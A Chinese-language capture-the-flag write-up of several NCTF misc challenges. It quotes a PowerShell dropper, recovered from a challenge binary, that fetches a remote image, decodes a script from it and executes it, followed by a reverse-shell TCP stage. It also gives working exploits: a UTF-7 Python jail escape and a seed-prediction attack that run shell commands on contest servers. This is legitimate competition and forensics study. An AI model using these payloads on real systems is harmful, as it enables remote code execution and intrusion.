Misc
后面三个题是赛后做出来的。
1.Jump For Signin
方法1是跳一下。
方法2是用dnSpy打开_Data/Managed下的Assembly-CSharp.dll,在CubeGenerator类中能找到方块坐标。
复制出来写个脚本即可得到图片和答案。
2.Jump For Flag
同上一题方法二
Python
3.NCTF2077:jackpot
一个.net的exe(主办方挺喜欢用.NET啊
打开找到3.ps1
Powershell
$flag = "-873e-12a9595bbce8}";sal a New-Object;Add-Type -A System.Drawing;$g = a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://zysgmzb.club/hello/nctf.png"));$o = a Byte[] 36600;(0..14) | % { foreach ($x in(0..2439)) { $p = $g.GetPixel($x, $_); $o[$_ * 2440 + $x] = ([math]::Floor(($p.B-band15) * 16)-bor($p.G -band 15)) }};IEX([System.Text.Encoding]::ASCII.GetString($o[0..35134]))多次解密后是
Powershell
$socket = new-object System.Net.Sockets.TcpClient('192.168.207.1', 2333);if ($socket -eq $null) { exit 1 }$stream = $socket.GetStream();$writer = new-object System.IO.StreamWriter($stream);$buffer = new-object System.Byte[] 1024;$encoding = new-object System.Text.AsciiEncoding;$ffllaagg = "NCTF{5945cf0b-fdd6-4b7b";...拼接即可
4.ezjail
白名单里只有abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=#几个字符,果断退出
回头找了找发现是utf-7编码。且python可以识别这样的东西:#encoding=utf7...
但是问题是网上找到的utf-7样子是...+AAA-的形式,那不就无解了?
去找了找python源代码发现可以不用分隔符....直接流的模式也行
Python
payload = """import osos.system("sh")"""import base64 as b64def utf7_encode(s): return "+" + b64.b64encode(s.encode("utf-16-be")).decode()[:-2]payload = f"#coding=utf7{utf7_encode(payload)}"print(payload)from pwn import remoter = remote("124.220.8.243", 9999)r.sendline("E")print(r.recv(4096).decode())r.sendline(payload)r.interactive()Bash
$ lsflag_390FEB17FDECBF7C98424D58D226D0199B7FAF574FE740C140EEED87F4D18F1Dserver.py$ cat fla*NCTF{82e7f7a2-154d-4d20-baa1-d8555fc1077a}5.randommaker
看代码知道将输入随机排列后运行。
加上中间一个1e4次的判断。知道是侧信道攻击来爆破时间戳。
使用二分法加快速度。
代码如下
Powershell
from pwn import *from random import Randomimport time# context.log_level = "debug"timestamp = int(time.time() * 1000)r_map = {i: Random(i) for i in range(timestamp - 2000, timestamp + 2000)}p = connect("124.220.8.243", 1337)for i in range(100): p.sendlineafter(b">>> ", b"12") result = b"-" in p.recvuntil(b"of") blist = [] for k, v in r_map.items(): tmp = list("12") v.shuffle(tmp) if result and tmp == ["1", "2"]: continue elif not result and tmp == ["2", "1"]: continue else: blist.append(k) for k in blist: r_map.pop(k) if len(r_map) == 1: print(r_map) print(i) breakrandom, *_ = r_map.values()payload = "__import__('os').system('cat fla*')"l = [i for i in range(len(payload))]random.shuffle(l)payloadfi = ["?" for _ in range(len(payload))]for i in range(len(payload)): payloadfi[l[i]] = payload[i]true_payload = "".join(payloadfi)p.sendline(true_payload.encode())p.interactive()6.NCTF2077:slivery
内存取证+浏览分析。
内存镜像里找可以找到桌面上的flag.zip,还有和题目相关的slivery.exe
查询可知sliverc2是一个加密流量的恶意程序。
用工具https://github.com/Immersive-Labs-Sec/SliverC2-Forensics分析流量包。
取出exe的dump可以获取session,然后全部解析。
命令中可以找到passwordP@33w000000rd_U_GOT解压得到flag。